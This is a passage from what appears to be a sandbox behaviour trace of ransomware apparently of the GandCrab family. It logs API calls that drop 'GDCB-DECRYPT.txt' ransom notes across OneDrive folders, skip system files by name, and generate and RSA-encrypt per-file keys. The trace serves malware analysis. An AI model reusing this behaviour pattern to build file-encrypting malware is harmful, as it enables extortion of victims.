dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.046] GetLastError () returned 0x3 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.046] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\uz-latn-uz\\\\GDCB-DECRYPT.txt") returned 285 [0172.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\uz-latn-uz\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\uz-latn-uz\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.046] GetLastError () returned 0x3 [0172.046] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\vcruntime140.dll") returned 273 [0172.046] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\vcruntime140.dll") returned 273 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.046] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.046] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\vi\\\\GDCB-DECRYPT.txt") returned 277 [0172.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\vi\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\vi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.046] GetLastError () returned 0x3 [0172.046] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png") returned 268 [0172.046] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png") returned 268 [0172.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png") returned 268 [0172.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png") returned 268 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="desktop.ini") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="autorun.inf") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="ntuser.dat") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="iconcache.db") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="bootsect.bak") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="boot.ini") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="ntuser.dat.log") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="thumbs.db") returned 1 [0172.047] lstrcmpiW (lpString1="Warning.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0172.047] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\warning.png")) returned 0xffffffff [0172.047] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png", dwFileAttributes=0xfffffffe) returned 0 [0172.047] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.048] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.048] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.048] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.048] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.049] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.049] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.049] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.049] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.052] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636998) returned 1 [0172.052] CryptGetKeyParam (in: hKey=0x636998, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.052] CryptEncrypt (in: hKey=0x636998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3110000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3110000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.052] GetLastError () returned 0x0 [0172.052] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.052] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.055] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6366d8) returned 1 [0172.055] CryptGetKeyParam (in: hKey=0x6366d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.055] CryptEncrypt (in: hKey=0x6366d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3120000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3120000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.055] GetLastError () returned 0x0 [0172.055] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.055] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\warning.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.055] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\WnsClientApi.dll") returned 273 [0172.055] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\WnsClientApi.dll") returned 273 [0172.055] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.056] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\wo\\\\GDCB-DECRYPT.txt") returned 277 [0172.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\wo\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\wo\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.056] GetLastError () returned 0x3 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.056] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\xh-za\\\\GDCB-DECRYPT.txt") returned 280 [0172.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\xh-za\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\xh-za\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.056] GetLastError () returned 0x3 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.056] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.056] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\yo-ng\\\\GDCB-DECRYPT.txt") returned 280 [0172.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\yo-ng\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\yo-ng\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.056] GetLastError () returned 0x3 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.057] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zh-cn\\\\GDCB-DECRYPT.txt") returned 280 [0172.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zh-cn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\zh-cn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.057] GetLastError () returned 0x3 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.057] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zh-tw\\\\GDCB-DECRYPT.txt") returned 280 [0172.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zh-tw\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\zh-tw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.057] GetLastError () returned 0x3 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.057] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zu-za\\\\GDCB-DECRYPT.txt") returned 280 [0172.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\zu-za\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\zu-za\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.057] GetLastError () returned 0x3 [0172.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.076] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\\\GDCB-DECRYPT.txt") returned 274 [0172.077] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.077] GetLastError () returned 0x3 [0172.077] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\adal.dll") returned 265 [0172.077] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\adal.dll") returned 265 [0172.077] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.078] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\adm\\\\GDCB-DECRYPT.txt") returned 278 [0172.078] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\adm\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\adm\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.078] GetLastError () returned 0x3 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.078] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.078] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\af\\\\GDCB-DECRYPT.txt") returned 277 [0172.078] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\af\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\af\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, 